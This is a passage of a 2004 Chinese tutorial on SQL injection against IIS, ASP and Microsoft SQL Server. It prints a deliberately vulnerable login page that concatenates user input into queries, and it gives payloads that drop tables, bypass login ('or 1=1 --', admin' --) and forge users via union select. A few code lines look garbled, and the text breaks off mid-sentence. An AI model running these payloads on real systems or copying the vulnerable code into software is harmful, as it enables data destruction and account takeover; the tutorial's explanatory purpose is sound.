深入分析SQL注入攻击及安全防范
-高级篇
fumtek [fumtek@cforce]
Copy Right © 2004, 安全前线出品
www.cforce
题外话:
SQL注入攻击法存在已经很久了,相信明白其个中精髓的高手有不少,而我写这篇文章是从一个数据库安全管理员的角度对现在一些比较流行的攻击方法和防范方法进行分析而起到一个抛砖引玉的作用让大家重新认识SQL注入攻击可能带来的危害性并做好必要的防范。由于篇幅的关系,所以不能一一列举所有的攻击方式和防护方式,而且由于个人水平有限分析时难免出错,还望大家能一一指正。
文章中所有的分析和源码都是建立在微软的IIS服务器,ASP和微软的SQL服务器基础上的。
【SQL简介】
SQL是一种标准的数据库文本语言,虽然SQL有很多种,但是大多数都符合ANSI的最新标准(SQL-92)。正确使用SQL语句,可以让开发人员,管理员方便的修改数据库的结构(使用数据定义语句,DDL)和修改数据库里的数据(使用数据操作语句,DML)。本文的范例中,我们用到的都是TSQL,也就是微软的SQL服务器的语言。
【攻击篇】
【简单的SQL注入攻击法】
SQL注入攻击通常发生在攻击者对一些数据库应用程序的合法SQL命令语句中加入一些额外非法的SQL命令而达到改变数据的输入最终实现对应用程序甚至系统攻击的目的。
通常一个很简单的SQL命令看起来就和下面一样:
select id, 名, 姓 from 作者
该命令会从数据库的’作者’表中读取所有记录的id,名和姓的数据。如果我们想要限制读取的记录的数据,那么我们改变一下上面的SQL语句如下:
select id, 名, 姓 from 作者 where 名 = ‘林’ and 姓 = ‘王’
值得注意的是:由于在SQL语句里需要引用特定值时,都需要用单引号来标注,所以,恶意的攻击者就可能通过加入一些类似下面这样的额外SQL语句而达到目的:
名:林’
姓: 王
那么最后的SQL命令就变成了:
Select id, 名, 姓 from 作者where 名 = ‘林’’ and 姓 = ‘王’
所以当SQL服务器执行该命令时,就会返回下面的错误:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near ‘林’
这里出错的原因就是因为在刚才的语句中加入了额外的单引号而导致了非法的SQL命令。如果攻击者加入这样的语句:
名: 林’;drop table 作者 - -
姓:
那么,我们可以看到数据库执行命令后,‘作者’这整个表就被删除了,这显然不是我们愿意看到的。
有些朋友由此就得出了一个结论,只要我们在SQL语句输入时过滤掉这些非法的单引号或者采用一些其他的方法来替换它,问题就得到解决了。简单的看起来,这样的解决方法似乎有效,但是,在实际应用的时候会有相当的难度。
第一,不是所有用户输入的数据都使用这种格式。比如,用户输入的时候可能会选择‘作者’的
ID,这样的SQL命令看起来就成为了:
Select id, 名, 姓 from 作者 where id = 1234
在这种情形下,攻击者仍然可以在数字的后面补加一些SQL命令来达到目的。
而且,在所有的SQL语言可能使用不同的标志符,以微软的Jet DBMS来说,所有的数据是用#来间隔的。第二,替换单引号也不一定能解决问题,这点我们留到后面再讲。
现在我们将以一个典型ASP的登录页面为例更详细的进行分析:
<HTML>
<HEAD>
<TITLE>用户登录</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='宋体' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR>
<TD>帐号:</TD>
<TD><INPUT type=text name=username size=100% width=100></INPUT></TD>
</TR>
<TR>
<TD>密码:</TD>
<TD><INPUT type=password name=password size=100% width=100></INPUT></TD>
sql语句替换表中内容</TR>
</TABLE>
<INPUT type=submit value='Submit'>
<INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
下面的是登录处理页面’process_login.asp’的源码:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='宋体' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{ if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{ rso.close();
%>
<FONT Face='宋体' color='cc0000'>
<H1>
<BR>
<CENTER>登录失败</CENTER>
</H1>
</BODY>
</HTML>
<%
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='宋体' color='00cc00'>
<H1>
<CENTER>登录成功<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
}
}
function Main()
{
//Set up connection
var username
var cn = ateobject( "ADODB.Connection" );
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
我们可以看到,在整个登录的过程中,最关键的就是“process_login.asp”里建立的SQL命令:var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用户输入:
Username: ‘; drop table users --
Password:
我们不难看出’users’的表将被删除从而导致所有的用户都不可以登录。这里的--符号在TSQL 语句中是表示单行描述的意思。在这里使用将会使该SQL语句成功执行而没有任何错误信息。
另外,如果攻击者知道一些用户名,他可以通过这些用户的身份来成功登录:
Username: admin’ --
攻击者还可以用过’users’表中的第一名用户的身份登录:
Username: ‘ or 1=1 --
攻击者甚至可以用完全虚假的用户身份登录:
Username: ' union select 1, 'fictional_user', 'some_password', 1 --
【通过错误信息获取数据库结构信息】
如果攻击者想要对数据库里的数据进行操作,那么他还必须要尽可能的知道这些表的结构,例如,我们上面的用户表的结构可能是:
create table users( id int, username varchar(255), password varchar(255), privs int )
然后我们通过下面的命令加入用户:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
如果攻击者想要为他自己加入一个合法的用户记录,如果不知道表的结构,那么将很难实现这样的目的。就算他比较幸运,但是由于对’privs’的用意不明,那么就算攻击者加入了值1,那他
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论